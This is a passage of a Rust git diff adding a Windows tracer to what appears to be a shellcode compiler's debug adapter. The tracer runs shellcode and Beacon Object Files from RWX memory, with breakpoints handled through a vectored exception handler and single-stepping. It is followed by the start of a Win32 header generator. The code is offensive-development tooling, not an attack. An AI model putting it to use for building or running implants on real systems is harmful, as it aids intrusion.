`.bin` into RWX memory, plants `int 3` (0xCC) at +//! every breakpoint offset chosen by the DAP server, registers a +//! vectored exception handler, then calls into the entry. Each `int 3` +//! trap is parked in the VEH, which sends a `Stopped` event to the DAP +//! server, snapshots the CPU registers into a session struct the DAP +//! server can read, and blocks on a control channel until told to +//! Continue, Step, or Stop. +//! +//! Software-bp restoration uses the classic "restore + single-step + +//! re-plant" dance: +//! 1. On int 3, restore the original byte and keep RIP at the +//! trapped instruction so the original runs on resume. +//! 2. Set the TF flag so the CPU traps after that one instruction. +//! 3. In the SINGLE_STEP handler, re-plant `0xCC` at the original +//! address. The breakpoint is live again for the next pass. +//! +//! Instruction stepping piggy-backs on the same TF trick: when the +//! DAP server sends `StepInstruction`, we set TF and stop again in the +//! SINGLE_STEP handler. +//! +//! This file is Windows-only - VEH and TF instrumentation don't have +//! portable equivalents. On non-Windows the module compiles to a +//! plain stub so the DAP server still builds for local schema tests +//! but loudly refuses to actually trace. + +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::mpsc::{Receiver, Sender}; +use std::sync::{Arc, Mutex}; +use serde::Serialize; + +use crate::sourcemap::SourceMap; + +// ============================================================================ +// Public protocol between tracer thread and DAP server. +// ============================================================================ + +#[derive(Debug, Clone, Serialize)] +#[serde(tag = "event", rename_all = "snake_case")] +pub enum Event { + /// Tracer parked at a breakpoint or step. The DAP server forwards + /// this to VS Code as a `stopped` event - that's what makes the + /// execution arrow appear on the source line. `line`/`col` are + /// the source mapping when available; otherwise 0 (e.g. stopping + /// between source statements during instruction stepping). + Stopped { + offset: usize, + rip: u64, + line: u32, + col: u32, + reason: StopReason, + /// Free-form detail string. Used for exception stops + /// ("ACCESS_VIOLATION reading 0x...") and (eventually) + /// logpoint hits. + description: Option, + }, + /// Shellcode returned. `code` is `rax` truncated to i32. + Exited { code: i32 }, + /// Diagnostic text to surface in VS Code's Debug Console. + Output { text: String }, +} + +#[derive(Debug, Clone, Copy, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum StopReason { Entry, Breakpoint, Step, Pause, Exception } + +#[derive(Debug, Clone)] +pub enum Cmd { + /// Resume free-running until the next planted breakpoint. + Continue, + /// Step exactly one source-mapped statement. The DAP server arms + /// every source-line offset as a temporary breakpoint before + /// sending this, so the next break IS the next source line. + Next, + /// Step exactly one machine instruction. TF-based - we restore + /// the byte we trapped on (if any), set TF, and on the SINGLE_STEP + /// re-stop the tracer with reason=Step. + StepInstruction, + /// Replace the active breakpoint set with this list of offsets. + /// Sent at the start of every session AND whenever the user + /// toggles breakpoints in VS Code. Safe to receive while the + /// tracer is parked - applied in place; the park keeps waiting + /// for a real resume command. + SetBreakpoints { offsets: Vec }, + /// Tear down the session (shellcode is mid-run). Restores every + /// planted byte and resumes - the shellcode then runs to a clean + /// exit without re-stopping. + Stop, +} + +// ============================================================================ +// Register snapshot shared with the DAP server. +// ============================================================================ + +/// CPU register snapshot captured at every stop. The DAP server reads +/// it through the shared [`TracerSession`] when answering `variables` +/// requests in the "Registers" scope. Keeping it in a Mutex (rather +/// than passing it through the Stopped event) lets the DAP server +/// also serve `readMemory` requests that index off a current register +/// without the event having to round-trip first. +#[derive(Debug, Clone, Copy, Default)] +pub struct RegSnapshot { + pub rax: u64, pub rbx: u64, pub rcx: u64, pub rdx: u64, + pub rsi: u64, pub rdi: u64, pub rbp: u64, pub rsp: u64, + pub r8: u64, pub r9: u64, pub r10: u64, pub r11: u64, + pub r12: u64, pub r13: u64, pub r14: u64, pub r15: u64, + pub rip: u64, pub rflags: u64, +} + +/// State the DAP server needs while the tracer is running: +/// - shellcode base/size for memoryReference resolution + disasm +/// range bounds-checks, +/// - the latest register snapshot for the Registers variables scope. +/// +/// Created by the DAP server, handed to the tracer, written to from +/// inside the VEH handler. +pub struct TracerSession { + /// Set once by `tracer::run` immediately after `VirtualAlloc` + /// succeeds, then read-only for the rest of the session. Zero + /// means "not yet allocated". + pub base: AtomicUsize, + pub size: AtomicUsize, + /// Latest register snapshot. `None` until the first stop. + pub regs: Mutex>, + /// Mirror of the tracer's planted-bp table: `(offset, original_byte)`. + /// The DAP server overlays these onto disasm / readMemory output + /// so the user sees the original instructions rather than our + /// `0xCC` traps. Kept in step with the tracer's internal `bps` + /// via [`TracerSession::set_planted`]. + pub planted: Mutex>, + /// Set by the DAP server's `pause` handler after it has armed + /// TF on the tracer thread via SuspendThread + SetThreadContext. + /// The next SINGLE_STEP the VEH receives reports a stop with + /// reason=Pause instead of the usual step semantics. + pub pause_pending: std::sync::atomic::AtomicBool, +} + +impl TracerSession { + pub fn new() -> Arc { + Arc::new(Self { + base: AtomicUsize::new(0), + size: AtomicUsize::new(0), + regs: Mutex::new(None), + planted: Mutex::new(Vec::new()), + pause_pending: std::sync::atomic::AtomicBool::new(false), + }) + } + pub fn base(&self) -> usize { self.base.load(Ordering::Acquire) } + pub fn size(&self) -> usize { self.size.load(Ordering::Acquire) } + pub fn regs(&self) -> Option { *self.regs.lock().unwrap() } + + /// Replace the planted-bp mirror. Tracer-side helper - call after + /// any mutation of the real bps list so the DAP server's reads + /// stay in sync. + pub fn set_planted(&self, bps: &[(usize, u8)]) { + *self.planted.lock().unwrap() = bps.to_vec(); + } +} + +// ============================================================================ +// Windows-only tracer implementation. +// ============================================================================ + +#[cfg(windows)] +mod imp { + use super::*; + use std::ffi::c_void; + use std::mem::transmute; + use std::ptr::null_mut; + use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; + use windows_sys::Win32::Foundation::{EXCEPTION_BREAKPOINT, EXCEPTION_SINGLE_STEP}; + use windows_sys::Win32::System::Diagnostics::Debug::{ + AddVectoredExceptionHandler, EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH, + EXCEPTION_POINTERS, RemoveVectoredExceptionHandler, + }; + use windows_sys::Win32::System::Memory::{ + VirtualAlloc, VirtualFree, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + }; + + /// Singleton tracer state. The VEH callback has no userdata pointer + /// (Win32 limitation), so the only path it has to find session + /// state is a global. We accept one active tracer at a time - + /// matches the DAP "one debuggee per session" model. + static mut STATE: Option = None; + static STATE_INSTALLED: AtomicBool = AtomicBool::new(false); + + struct TracerState { + base: usize, + size: usize, + map: SourceMap, + ev_tx: Sender, + cmd_rx: std::sync::Mutex>, + session: Arc, + /// All source-line offsets - armed temporarily when the user + /// asks for a source-line step so the next break IS the next + /// source line. Sorted, immutable for the session. + all_source_offsets: Vec, + /// `(offset, original_byte)` for every planted breakpoint. + bps: std::sync::Mutex>, + /// Offsets planted ONLY for the current source-line step. On + /// the next stop, these are restored and removed from `bps`. + step_temp_offsets: std::sync::Mutex>, + /// Single-step "owe": after restoring a planted byte and + /// running the original instruction, we need to re-plant + /// `0xCC`. The SINGLE_STEP handler reads this, replants, + /// clears it. + replant_at: AtomicUsize, + replant_pending: AtomicBool, + /// Set when the user requested an instruction step. The next + /// SINGLE_STEP exception (after the TF-armed resume) will + /// stop the tracer again with reason=Step instead of just + /// continuing. + step_instr_pending: AtomicBool, + } + + /// Entry point. Builds the shellcode in RWX memory, plants the + /// initial breakpoint set (chosen by the DAP server - typically + /// user bps + an optional stop-on-entry), installs VEH, calls into + /// the entry. Blocks the caller until the shellcode returns or a + /// `Cmd::Stop` aborts. + pub fn run( + bin: &[u8], + map: SourceMap, + initial_bps: Vec, + session: Arc, + ev_tx: Sender, + cmd_rx: Receiver, + ) { + if STATE_INSTALLED.swap(true, Ordering::SeqCst) { + let _ = ev_tx.send(Event::Output { + text: "tracer: another session is already active".into(), + }); + return; + } + + // RWX so we can both patch (write the 0xCC) and execute. + let mem = unsafe { + VirtualAlloc( + null_mut(), + bin.len(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ) + } as *mut u8; + if mem.is_null() { + let _ = ev_tx.send(Event::Output { + text: "tracer: VirtualAlloc failed".into(), + }); + STATE_INSTALLED.store(false, Ordering::SeqCst); + return; + } + unsafe { + std::ptr::copy_nonoverlapping(bin.as_ptr(), mem, bin.len()); + } + + // Publish base/size to the DAP server BEFORE we install VEH - + // any inbound readMemory request must see the region as live. + session.base.store(mem as usize, Ordering::Release); + session.size.store(bin.len(), Ordering::Release); + + // Plant ONLY the requested breakpoints. The DAP server hands + // us the user's chosen set (translated from source lines) + // plus optionally the first source line for stopOnEntry. + let mut bps = Vec::with_capacity(initial_bps.len()); + for &offset in &initial_bps { + if offset >= bin.len() { continue; } + let p = unsafe { mem.add(offset) }; + let original = unsafe { *p }; + unsafe { *p = 0xCC; } + bps.push((offset, original)); + } + + let all_source_offsets: Vec = + map.entries.iter().map(|e| e.offset).collect(); + + // Sync the initial planted set to the session so the DAP + // server's first disasm / readMemory request already sees the + // overlay-able originals. + session.set_planted(&bps); + + unsafe { + STATE = Some(TracerState { + base: mem as usize, + size: bin.len(), + map, + ev_tx, + cmd_rx: std::sync::Mutex::new(cmd_rx), + session, + all_source_offsets, + bps: std::sync::Mutex::new(bps), + step_temp_offsets: std::sync::Mutex::new(Vec::new()), + replant_at: AtomicUsize::new(0), + replant_pending: AtomicBool::new(false), + step_instr_pending: AtomicBool::new(false), + }); + } + + // 1 to call first. Our handler should win over anything the + // shellcode might install later. + let veh = unsafe { AddVectoredExceptionHandler(1, Some(veh_handler)) }; + if veh.is_null() { + tear_down(mem); + return; + } + + // We trust our own emitter not to throw - unrecoverable + // shellcode exceptions take down the adapter process, which + // VS Code surfaces as "debugger died". + let entry: extern "C" fn() -> i64 = unsafe { transmute(mem) }; + let exit_code = entry(); + + let st = unsafe { STATE.as_ref().unwrap() }; + let _ = st.ev_tx.send(Event::Exited { code: exit_code as i32 }); + + // Order matters: remove the VEH BEFORE freeing memory so any + // stale exception delivery can't dereference our state. + unsafe { RemoveVectoredExceptionHandler(veh) }; + tear_down(mem); + } + + fn tear_down(mem: *mut u8) { + unsafe { + VirtualFree(mem as *mut c_void, 0, MEM_RELEASE); + STATE = None; + } + STATE_INSTALLED.store(false, Ordering::SeqCst); + } + + /// Tear-down for BOF mode. The loader VirtualAlloc'd all the + /// sections itself and intentionally leaks them (the harness + /// process is short-lived, the debugger session is one-shot). + /// We just clear the global state + the singleton lock so the + /// next session can install. + fn tear_down_bof() { + unsafe { STATE = None; } + STATE_INSTALLED.store(false, Ordering::SeqCst); + } + + /// Entry point - BOF flavour. Mirrors [`run`] but consumes an + /// already-loaded [`bof_loader::load::LoadedBof`] (sections + /// mapped, `__imp_*` slots resolved, relocations applied) and + /// calls `go(args, len)` per Win64 ABI instead of `entry()`. + /// + /// Plants `int 3` at every debug-info offset within `.text` the + /// same way `run` does, registers the same VEH, and uses the same + /// DAP machinery - the only differences are "where the bytes + /// came from" and "what calling convention the entry uses." + pub fn run_bof( + loaded: bof_loader::load::LoadedBof, + args: Vec, + map: SourceMap, + initial_bps: Vec, + session: Arc, + ev_tx: Sender, + cmd_rx: Receiver, + ) { + if STATE_INSTALLED.swap(true, Ordering::SeqCst) { + let _ = ev_tx.send(Event::Output { + text: "tracer: another session is already active".into(), + }); + return; + } + + // Route BeaconPrintf / BeaconOutput through DAP `Event::Output` + // so the BOF's prints surface in VS Code's Debug Console. + // Without this hook the BOF's `print!` writes would land on + // entc-debug's own stdout - which IS the DAP wire-protocol + // channel, corrupting frame headers. + // + // The closure captures a clone of `ev_tx`; emits are + // line-buffered (we send each Beacon call as its own event) + // so VS Code's console flushes promptly. Categories are + // collapsed to one text stream - DAP `output` doesn't have a + // semantic distinction between `printf` and `output` and the + // operator sees a strict-order log anyway. + let ev_tx_for_hook = ev_tx.clone(); + bof_loader::beacon::set_output_hook(move |cat, text| { + let prefix = match cat { + bof_loader::beacon::OutputCategory::Printf => "[BOF] ", + bof_loader::beacon::OutputCategory::Output => "[BOF output] ", + }; + let _ = ev_tx_for_hook.send(Event::Output { + text: format!("{prefix}{text}"), + }); + }); + + let text_base = loaded.text_base; + let text_size = loaded.text_size; + let go_addr = text_base + loaded.go_offset as usize; + + // Publish .text base/size so the DAP server's disasm / + // readMemory / Locals scope work the same way they do for + // standard mode. + session.base.store(text_base, Ordering::Release); + session.size.store(text_size, Ordering::Release); + + // Plant int 3 at the requested .text offsets. + let mut bps = Vec::with_capacity(initial_bps.len()); + for &offset in &initial_bps { + if offset >= text_size { continue; } + let p = (text_base + offset) as *mut u8; + let original = unsafe { *p }; + unsafe { *p = 0xCC; } + bps.push((offset, original)); + } + + let all_source_offsets: Vec = + map.entries.iter().map(|e| e.offset).collect(); + session.set_planted(&bps); + + unsafe { + STATE = Some(TracerState { + base: text_base, + size: text_size, + map, + ev_tx, + cmd_rx: std::sync::Mutex::new(cmd_rx), + session, + all_source_offsets, + bps: std::sync::Mutex::new(bps), + step_temp_offsets: std::sync::Mutex::new(Vec::new()), + replant_at: AtomicUsize::new(0), + replant_pending: AtomicBool::new(false), + step_instr_pending: AtomicBool::new(false), + }); + } + + let veh = unsafe { AddVectoredExceptionHandler(1, Some(veh_handler)) }; + if veh.is_null() { + tear_down_bof(); + return; + } + + // Build a NUL-terminated args buffer so a BOF reading `args` + // as a C string doesn't walk off the end. The reported `len` + // excludes the NUL (matches Beacon's convention). + let mut args_z = args; + args_z.push(0); + let payload_len = (args_z.len() - 1) as i32; + let go_fn: unsafe extern "system" fn(*const u8, i32) = + unsafe { transmute(go_addr) }; + unsafe { go_fn(args_z.as_ptr(), payload_len); } + + let st = unsafe { STATE.as_ref().unwrap() }; + // BOFs return `void`; report exit code 0 to keep the DAP + // contract happy. + let _ = st.ev_tx.send(Event::Exited { code: 0 }); + + unsafe { RemoveVectoredExceptionHandler(veh) }; + // Drop the output hook so a subsequent session installs its + // own. Without this, `ev_tx` from THIS session would stay + // captured by the global hook - fine for one-shot but a + // hazard for any future multi-session adapter mode. + bof_loader::beacon::clear_output_hook(); + tear_down_bof(); + } + + /// Vectored exception handler. + /// + /// `EXCEPTION_BREAKPOINT` (`int 3`): planted bp hit. + /// 1. Snapshot registers, look up the source line, push Stopped. + /// 2. Park; ignore SetBreakpoints; wait for Continue/Next/StepI/Stop. + /// 3. On resume: restore the trapped byte, set TF, schedule + /// replant. For `Next`, arm every source-line offset; for + /// `StepInstruction`, also set `step_instr_pending` so the + /// SINGLE_STEP handler re-stops the tracer. + /// + /// `EXCEPTION_SINGLE_STEP`: TF fired after one instruction. + /// 1. Replant the saved bp if owed. + /// 2. If `step_instr_pending`: snapshot regs again, push Stopped + /// with reason=Step, park, then re-enter the resume logic. + /// + /// Anything else falls through to the system handler. + unsafe extern "system" fn veh_handler(ep: *mut EXCEPTION_POINTERS) -> i32 { + let st = match STATE.as_ref() { + Some(s) => s, + None => return EXCEPTION_CONTINUE_SEARCH, + }; + + let rec = &*(*ep).ExceptionRecord; + let ctx = &mut *(*ep).ContextRecord; + let code = rec.ExceptionCode as i32; + + let rip = ctx.Rip as usize; + + if code != EXCEPTION_BREAKPOINT && code != EXCEPTION_SINGLE_STEP { + // If the fault came from INSIDE the shellcode region, treat + // it as a debuggee crash: snapshot regs, park, let the user + // inspect, then on any resume command tear the session + // down (continuing past an AV would just re-fault). + // + // If it came from outside the shellcode, pass through to + // the system handler - that's some Win32 / runtime issue + // we shouldn't swallow. + let in_shellcode = rip >= st.base && rip < st.base + st.size; + if !in_shellcode { + return EXCEPTION_CONTINUE_SEARCH; + } + snapshot_regs(st, ctx); + let (line, col) = source_at(st, rip); + let desc = describe_exception(code as u32, rec, rip); + // Also surface as a console line so it's visible even if + // the user dismisses the Stop reason. + let _ = st.ev_tx.send(Event::Output { + text: format!("[entc-debug] shellcode {}", desc), + }); + let _ = st.ev_tx.send(Event::Stopped { + offset: rip - st.base, + rip: rip as u64, + line, col, + reason: StopReason::Exception, + description: Some(desc), + }); + let _ = wait_for_resume_cmd(st); + // Whatever the user picks, we can't safely keep running - + // the original faulting instruction is still there. Push + // an exit and let the host process clean up. + let _ = st.ev_tx.send(Event::Exited { code: -1 }); + std::process::exit(1); + } + + // ---- SINGLE_STEP first; usually paired with a planted-bp replant. + if code == EXCEPTION_SINGLE_STEP { + if st.replant_pending.swap(false, Ordering::SeqCst) { + let addr = st.replant_at.load(Ordering::SeqCst); + let offset = addr - st.base; + let active = st.bps.lock().unwrap().iter().any(|(o, _)| *o == offset); + if active { + let p = addr as *mut u8; + *p = 0xCC; + } + } + + // Three things can request a stop on the next SS: + // - step_instr_pending: the user asked for `stepIn` at + // instruction granularity. + // - pause_pending: the DAP server set TF externally via + // SuspendThread/SetThreadContext after the user hit + // the Pause button. + // If neither is set, the SS was for our own bp-replant + // dance and we just resume. + let step = st.step_instr_pending.swap(false, std::sync::atomic::Ordering::SeqCst); + let pause = st.session.pause_pending.swap(false, std::sync::atomic::Ordering::SeqCst); + if !step && !pause { + return EXCEPTION_CONTINUE_EXECUTION; + } + + // Stop here. RIP is at the instruction AFTER the one that + // was single-stepped; source mapping may be approximate. + snapshot_regs(st, ctx); + let (line, col) = source_at(st, rip); + let offset = rip.wrapping_sub(st.base); + let reason = if pause { StopReason::Pause } else { StopReason::Step }; + let _ = st.ev_tx.send(Event::Stopped { + offset, rip: rip as u64, line, col, + reason, description: None, + }); + // Park; on resume, run the same dance the breakpoint + // path uses (the byte at RIP may or may not be a planted + // bp). + let cmd = wait_for_resume_cmd(st); + apply_resume(st, ctx, cmd, /*at_planted_bp=*/false); + return EXCEPTION_CONTINUE_EXECUTION; + } + + // ---- EXCEPTION_BREAKPOINT: must be one of our planted bps. + if rip < st.base || rip >= st.base + st.size { + return EXCEPTION_CONTINUE_SEARCH; + } + let bp_offset = rip - st.base; + let original = { + let bps = st.bps.lock().unwrap(); + bps.iter().find(|(o, _)| *o == bp_offset).map(|(_, b)| *b) + }; + let Some(original) = original else { + return EXCEPTION_CONTINUE_SEARCH; + }; + + // Remove any temp source-step bps now that we've reached a + // stop - they fulfilled their purpose. Restore originals. + let temp = std::mem::take(&mut *st.step_temp_offsets.lock().unwrap()); + if !temp.is_empty() { + let mut bps = st.bps.lock().unwrap(); + let mut keep: Vec<(usize, u8)> = Vec::new(); + for (off, byte) in bps.iter().copied() { + if temp.contains(&off) { + let p = (st.base + off) as *mut u8; + *p = byte; + } else { + keep.push((off, byte)); + } + } + *bps = keep; + st.session.set_planted(&bps); + } + + snapshot_regs(st, ctx); + let (line, col) = source_at(st, rip); + let _ = st.ev_tx.send(Event::Stopped { + offset: bp_offset, + rip: rip as u64, + line, col, + reason: StopReason::Breakpoint, + description: None, + }); + + // Stash the original byte so apply_resume knows what to write + // back. We re-fetch inside apply_resume since the user may + // have toggled this bp via SetBreakpoints while parked. + let cmd = wait_for_resume_cmd(st); + let _ = original; // bookkeeping; original byte resolved below. + apply_resume(st, ctx, cmd, /*at_planted_bp=*/true); + EXCEPTION_CONTINUE_EXECUTION + } + + /// Block until the DAP server tells us how to resume. SetBreakpoints + /// arriving while parked is applied in place and we keep waiting - + /// it's not a resume command. + fn wait_for_resume_cmd(st: &TracerState) -> Cmd { + let rx = st.cmd_rx.lock().unwrap(); + loop { + match rx.recv().unwrap_or(Cmd::Stop) { + Cmd::SetBreakpoints { offsets } => { + apply_breakpoint_set(&offsets); + } + other => return other, + } + } + } + + /// Execute the post-park dance: restore the trapped byte (if any), + /// arm step temporaries, set TF, schedule replant/step. + unsafe fn apply_resume( + st: &TracerState, + ctx: &mut windows_sys::Win32::System::Diagnostics::Debug::CONTEXT, + cmd: Cmd, + at_planted_bp: bool, + ) { + if matches!(cmd, Cmd::Stop) { + // Restore every planted byte so the shellcode runs to a + // clean exit without re-stopping. + let mut bps = st.bps.lock().unwrap(); + for (off, byte) in bps.iter().copied() { + let p = (st.base + off) as *mut u8; + *p = byte; + } + bps.clear(); + st.session.set_planted(&bps); + return; + } + + let rip = ctx.Rip as usize; + + // For `Next` (source-line step), arm every source-line offset + // not already planted, so the very next break is the next + // source statement. We remember the temporary set so the next + // stop can restore them. + if matches!(cmd, Cmd::Next) { + let mut temp: Vec = Vec::new(); + let mut bps = st.bps.lock().unwrap(); + for &off in &st.all_source_offsets { + if off >= st.size { continue; } + // Skip the offset we're sitting on - it'll get its + // 0xCC replanted by the SINGLE_STEP path below. + if at_planted_bp && st.base + off == rip { continue; } + if !bps.iter().any(|(o, _)| *o == off) { + let p = (st.base + off) as *mut u8; + let original = *p; + *p = 0xCC; + bps.push((off, original)); + temp.push(off); + } + } + *st.step_temp_offsets.lock().unwrap() = temp; + st.session.set_planted(&bps); + } + + if at_planted_bp { + // Restore the original byte at RIP. Find it fresh - the + // user may have removed this bp via SetBreakpoints during + // the park. + let bp_offset = rip - st.base; + let original = st.bps.lock().unwrap() + .iter().find(|(o, _)| *o == bp_offset).map(|(_, b)| *b); + if let Some(original) = original { + let p = rip as *mut u8; + *p = original; + ctx.EFlags |= 0x100; + st.replant_at.store(rip, Ordering::SeqCst); + st.replant_pending.store(true, Ordering::SeqCst); + } + } + + if matches!(cmd, Cmd::StepInstruction) { + ctx.EFlags |= 0x100; + st.step_instr_pending.store(true, Ordering::SeqCst); + } + } + + /// Look up the source line for an RIP. Returns (0, 0) when there + /// is no mapping (e.g. mid-instruction-step between source + /// statements, or RIP outside the shellcode). + fn source_at(st: &TracerState, rip: usize) -> (u32, u32) { + if rip < st.base || rip >= st.base + st.size { return (0, 0); } + match st.map.at(rip - st.base) { + Some(e) => (e.line, e.col), + None => match st.map.nearest(rip - st.base) { + Some(e) => (e.line, e.col), + None => (0, 0), + }, + } + } + + fn snapshot_regs( + st: &TracerState, + ctx: &windows_sys::Win32::System::Diagnostics::Debug::CONTEXT, + ) { + let snap = RegSnapshot { + rax: ctx.Rax, rbx: ctx.Rbx, rcx: ctx.Rcx, rdx: ctx.Rdx, + rsi: ctx.Rsi, rdi: ctx.Rdi, rbp: ctx.Rbp, rsp: ctx.Rsp, + r8: ctx.R8, r9: ctx.R9, r10: ctx.R10, r11: ctx.R11, + r12: ctx.R12, r13: ctx.R13, r14: ctx.R14, r15: ctx.R15, + rip: ctx.Rip, rflags: ctx.EFlags as u64, + }; + *st.session.regs.lock().unwrap() = Some(snap); + } + + /// Decode a Win32 exception code into a one-line description for + /// the Stopped event's `description` field. We pull the + /// access-violation operands out of `ExceptionInformation` - + /// `[0]` is read(0)/write(1)/dep(8), `[1]` is the faulting + /// address. Other exceptions don't have useful operands so we + /// just name them. + fn describe_exception( + code: u32, + rec: &windows_sys::Win32::System::Diagnostics::Debug::EXCEPTION_RECORD, + rip: usize, + ) -> String { + match code { + 0xC0000005 => { + let op = rec.ExceptionInformation[0]; + let addr = rec.ExceptionInformation[1]; + let verb = match op { + 0 => "reading", + 1 => "writing", + 8 => "executing", + _ => "accessing", + }; + format!("ACCESS_VIOLATION {verb} 0x{addr:x} at rip=0x{rip:x}") + } + 0xC000001D => format!("ILLEGAL_INSTRUCTION at rip=0x{rip:x}"), + 0xC0000096 => format!("PRIV_INSTRUCTION at rip=0x{rip:x}"), + 0xC0000094 => format!("INT_DIVIDE_BY_ZERO at rip=0x{rip:x}"), + 0xC0000095 => format!("INT_OVERFLOW at rip=0x{rip:x}"), + 0xC00000FD => format!("STACK_OVERFLOW at rip=0x{rip:x}"), + 0x80000003 => format!("BREAKPOINT (foreign int3) at rip=0x{rip:x}"), + other => format!("exception 0x{other:08x} at rip=0x{rip:x}"), + } + } + + /// Reconcile the planted-bp set with `desired`. Idempotent: bps + /// that are already in both are left as-is; bps no longer in the + /// set get their original byte restored; new ones get 0xCC. + /// + /// Safe to call from the DAP server thread mid-run: we hold the + /// `bps` mutex across all memory writes, so the VEH (running on + /// the tracer thread) is forced to block on the lock if a planted + /// trap fires concurrently. By the time it unblocks, `*bps` has + /// been committed and contains the entry the VEH needs to look + /// up the original byte. + pub fn apply_breakpoint_set(desired: &[usize]) { + // STATE is None when the tracer hasn't been started yet or + // has already torn down. A no-op is the right thing in both + // cases - the DAP server's setBreakpoints handler also + // updates user_bps, which gets re-planted from scratch when + // the tracer is (re)started. + let st = match unsafe { STATE.as_ref() } { Some(s) => s, None => return }; + let mut bps = st.bps.lock().unwrap(); + let mut keep: Vec<(usize, u8)> = Vec::new(); + for (off, original) in bps.iter().copied() { + if desired.contains(&off) { + keep.push((off, original)); + } else { + let p = (st.base + off) as *mut u8; + unsafe { *p = original; } + } + } + for &off in desired { + if !keep.iter().any(|(o, _)| *o == off) { + if off >= st.size { continue; } + let p = (st.base + off) as *mut u8; + let original = unsafe { *p }; + unsafe { *p = 0xCC; } + keep.push((off, original)); + } + } + *bps = keep; + st.session.set_planted(&bps); + } +} + +#[cfg(windows)] +pub use imp::{run, run_bof, apply_breakpoint_set as apply_breakpoints_live}; + +/// Plant/unplant breakpoints from outside the tracer thread (e.g. +/// the DAP server's `setBreakpoints` handler). Safe to call any +/// time - no-op until the tracer has started, no-op after teardown. +#[cfg(not(windows))] +pub fn apply_breakpoints_live(_desired: &[usize]) {} + +#[cfg(not(windows))] +pub fn run( + _bin: &[u8], + _map: SourceMap, + _initial_bps: Vec, + _session: Arc, + ev_tx: Sender, + _cmd_rx: Receiver, +) { + let _ = ev_tx.send(Event::Output { + text: "entc-debug tracer requires Windows (VEH + TF single-step)".into(), + }); +} + +#[cfg(not(windows))] +pub fn run_bof( + _loaded: bof_loader::load::LoadedBof, + _args: Vec, + _map: SourceMap, + _initial_bps: Vec, + _session: Arc, + ev_tx: Sender, + _cmd_rx: Receiver, +) { + let _ = ev_tx.send(Event::Output { + text: "entc-debug BOF mode requires Windows".into(), + }); +} diff --git a/tools/entc-win32gen/Cargo.toml b/tools/entc-win32gen/Cargo.toml new file mode 100644 index 0000000..af7a8b7 --- /dev/null +++ b/tools/entc-win32gen/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "entc-win32gen" +version = "0.1.0" +edition = "2021" +description = "Generates cimport-compatible Win32 headers from Microsoft win32metadata." + +[[bin]] +name = "entc-win32gen" +path = "src/main.rs" + +[dependencies] +windows-metadata = "0.60" diff --git a/tools/entc-win32gen/src/main.rs b/tools/entc-win32gen/src/main.rs new file mode 100644 index 0000000..42e1815 --- /dev/null +++ b/tools/entc-win32gen/src/main.rs @@ -0,0 +1,411 @@ +// SPDX-License-Identifier: Apache-2.0 +//! entc-win32gen - generate `use_c`-compatible Win32 headers from +//! Microsoft's win32metadata. +//! +//! Strategy (option D from the design discussion): +//! - Microsoft publishes every Win32 type/struct/constant as machine- +//! readable metadata (WinMD files). +//! - We walk that metadata, namespace by namespace, and emit `.h` files +//! in the C subset EntropyKit's `use_c` parser already handles. +//! - The emitted files are committed under `stdlib/win32/`. User code +//! does `use_c "stdlib/win32/memory.h";` and gets real Win32 types +//! with byte-correct layouts. +//! +//! This tool is a one-time generator. Users of EntropyKit never invoke it +//! directly - they consume the committed output. Re-run periodically to +//! pick up new SDK additions. +//! +//! Getting the WinMD file: +//! Download `Windows.Win32.winmd` from +//! https://github.com/microsoft/win32metadata/releases +//! (look for the `Microsoft.Windows.SDK.Win32Metadata*.nupkg` asset; the +//! WinMD file is placed at `ref/netstandard2.0/Windows.Win32.winmd` inside +//! the nupkg - rename `.nupkg` to `.zip` and extract). +//! +//! Usage: +//! entc-win32gen --winmd path/to/Windows.Win32.winmd --out stdlib/win32 +//! entc-win32gen --winmd ... --namespace Windows.Win32.System.Memory +//! +//! What the emitted output supports: +//! - Fixed-size arrays - `BYTE foo[16];` reaches the EntropyKit codegen +//! as `foo: u8[16]` and is indexable via `[i]`. +//! - Function-pointer typedefs and fields - both collapse to `u64` +//! pointer-sized values. +//! - Nested anonymous unions/structs are emitted with synthesized +//! names so every field is addressable. +//! - Free functions / methods are NOT emitted (the runtime resolver +//! finds them by name at call time). + +use std::collections::BTreeMap; +use std::fmt::Write as _; +use std::fs; +use std::path::{Path, PathBuf}; + +use windows_metadata::reader::{File, Field, TypeCategory, TypeDef, TypeIndex}; +use windows_metadata::{Type, TypeName, Value}; + +/// Namespaces emitted by default. Each becomes one header file under the +/// output directory; the file name is the trailing path segment lower-cased. +const DEFAULT_NAMESPACES: &[&str] = &[ + "Windows.Win32.Foundation", + "Windows.Win32.System.Memory", + "Windows.Win32.System.Threading", + "Windows.Win32.System.Diagnostics.Debug", + "Windows.Win32.System.WindowsProgramming", + "Windows.Win32.System.Kernel", + "Windows.Win32.System.IO", + "Windows.Win32.System.LibraryLoader", + "Windows.Win32.System.Console", + "Windows.Win32.System.Pipes", + "Windows.Win32.System.Registry", + "Windows.Win32.System.SystemServices", + "Windows.Win32.System.SystemInformation", + "Windows.Win32.System.Environment", + "Windows.Win32.Security", + "Windows.Win32.Security.Authorization", + "Windows.Win32.Security.Cryptography", + "Windows.Win32.Storage.FileSystem", + // Networking - the blocker for the HTTP/TCP module work. + "Windows.Win32.Networking.WinSock", + "Windows.Win32.Networking.WinHttp", + "Windows.Win32.Networking.WinInet", +]; + +fn main() { + if let Err(e) = run() { + eprintln!("entc-win32gen: error: {e}"); + std::process::exit(1); + } +} + +fn run() -> Result<(), String> { + let args = Args::parse(std::env::args().skip(1))?; + fs::create_dir_all(&args.out) + .map_err(|e| format!("creating {}: {e}", args.out.display()))?; + + let file = File::read(&args.winmd) + .ok_or_else(|| format!( + "could not load WinMD file `{}` \n\ + (download from https://github.com/microsoft/win32metadata/releases)", + args.winmd.display() + ))?; + let index = TypeIndex::new(vec![file]); + + let namespaces: Vec = if args.namespaces.is_empty() { + DEFAULT_NAMESPACES.iter().map(|s| s.to_string()).collect() + } else { + args.namespaces.clone() + }; + + let mut summary: Vec<(String, NsStats)> = Vec::new(); + for ns in &namespaces { + let stats = emit_namespace(&index, ns, &args.out)?; + summary.push((ns.clone(), stats)); + } + + write_index(&args.out, &summary)?; + eprintln!("done. {} namespaces emitted under {}", summary.len(), 